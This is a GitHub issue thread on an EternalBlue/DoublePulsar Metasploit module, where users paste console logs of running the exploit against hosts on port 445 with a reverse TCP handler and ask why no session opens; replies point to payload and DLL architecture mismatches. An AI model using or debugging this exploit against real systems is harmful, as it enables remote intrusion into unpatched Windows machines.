Eternalblue-Doublepulsar-Metasploit icon indicating copy to clipboard operation
Eternalblue-Doublepulsar-Metasploit copied to clipboard

backdoor is already installed..

Open NoorQureshi opened this issue 7 years ago • 4 comments

[*] Started reverse TCP handler on 192.168.1.3:4444 
[*] IP_ADDRESS:445 - Generating Eternalblue XML data
[*] IP_ADDRESS:445 - Generating Doublepulsar XML data
[*] IP_ADDRESS:445 - Generating payload DLL for Doublepulsar
[*] IP_ADDRESS:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] IP_ADDRESS:445 - Launching Eternalblue...
[+] IP_ADDRESS:445 - Backdoor is already installed
[*] IP_ADDRESS:445 - Launching Doublepulsar...
Error sending wrong architecture DLL to target
[+] IP_ADDRESS:445 - Remote code executed... 3... 2... 1...
[*] Exploit completed, but no session was created.

Now what to do? :(

NoorQureshi avatar May 17 '17 03:05 NoorQureshi

@NoorQureshi Did you set what payload to use?

6a61756d avatar May 17 '17 08:05 6a61756d

So is ur dll also for x64?

NickGoodLuck avatar May 19 '17 13:05 NickGoodLuck

I'm having this same issue, how can I check if my DLL in drive_c (Wine) is compiled for x64 or x86, and if so, how to change the compiling architecture.

ppdmartell avatar Feb 07 '18 12:02 ppdmartell

[] Started reverse TCP handler on 192.168.239.129:4444 [] 192.168.239.132:445 - Generating Eternalblue XML data [] 192.168.239.132:445 - Generating Doublepulsar XML data [] 192.168.239.132:445 - Generating payload DLL for Doublepulsar [] 192.168.239.132:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll [] 192.168.239.132:445 - Launching Eternalblue... wine: could not load kernel32.dll, status c0000135 [-] 192.168.239.132:445 - Are you sure it's vulnerable? [] 192.168.239.132:445 - Launching Doublepulsar... wine: could not load kernel32.dll, status c0000135 [-] 192.168.239.132:445 - Oops, something was wrong! [] Exploit completed, but no session was created.

IBeDev avatar Sep 19 '23 01:09 IBeDev